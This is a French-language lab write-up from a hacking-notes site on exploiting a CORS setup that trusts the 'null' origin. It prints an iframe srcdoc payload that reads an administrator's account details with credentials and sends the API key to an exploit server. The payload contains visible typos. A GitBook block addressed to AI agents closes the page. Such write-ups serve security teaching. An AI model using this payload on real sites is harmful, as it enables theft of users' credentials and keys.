> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/cors/cors-null-origin-trusted.md).

# Origine nulle CORS approuvée

### Vulnérabilité CORS avec origine nulle de confiance

Exploitez une configuration CORS vulnérable qui fait confiance à l'origine `"null"`. L'objectif du laboratoire est de récupérer la clé API de l'administrateur via une requête CORS (avec `identifiants`) et de charger le code sur le serveur d'exploitation. Le laboratoire est résolu lorsque la clé API de l'administrateur est soumise avec succès.

* Le serveur renvoie `Access-Control-Allow-Credentials: true`.

<figure><img src="/files/0f584dd9ff7810344235812c7e074fc8cce3f761" alt=""><figcaption></figcaption></figure>

Quand le `Origin: jord4n.pro` header est envoyé, le domaine n’est pas reflété.

<figure><img src="/files/9c46771b700664e7993ef6e8d14da8dfc33e24ec" alt=""><figcaption></figcaption></figure>

Cependant, lors de l'envoi de `Origin: null`, la réponse accepte et reflète cette valeur.

<figure><img src="/files/45c1bbbd35ec218d67ec18afca96450431f8a873" alt=""><figcaption></figcaption></figure>

Forcez une requête depuis une page de `null` origine (par ex. via `iframe` en utilisant `srcdoc`) afin que la réponse CORS considère l'origine comme digne de confiance et renvoie les données (avec des cookies en utilisant `withCredentials`).

```javascript
<iframe sandbox="allow-scripts" srcdoc="<<script>
    varrreq = new XMLHttpRequest();
    req.onload = function() {
    location = "https://exploit-0a3a00ab047b89dd8023021101ef0012.exploit-server.net/?apikey=" + btoa(req.responseText);
    );
    req.open("GET", "https://0a280071045626f880090316003b0053.web-security-academy.net/accountDetails", true);
    req.withCredentials = true;
    req.send();
</script>"></iframe>
```

<figure><img src="/files/cb079c67856df29a433e991d4adc5f3696ad8da7" alt=""><figcaption></figcaption></figure>

> Remarque : le principe est d'exécuter ce code depuis `null` une origine (iframe `srcdoc`) afin que la réponse CORS, qui accepte `null`, renvoie des données sensibles, y compris les cookies.

La clé récupérée, décodée depuis Base64 :

```bash
echo "NkhBVGdaVWdUb0t2QU5PbXNzanRyY1pDRlpUQUVFYjk=" | base64 -d; echo
6HATgZUgToKvANOmssjtrcZCFZTAEEb9
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/cors/cors-null-origin-trusted.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
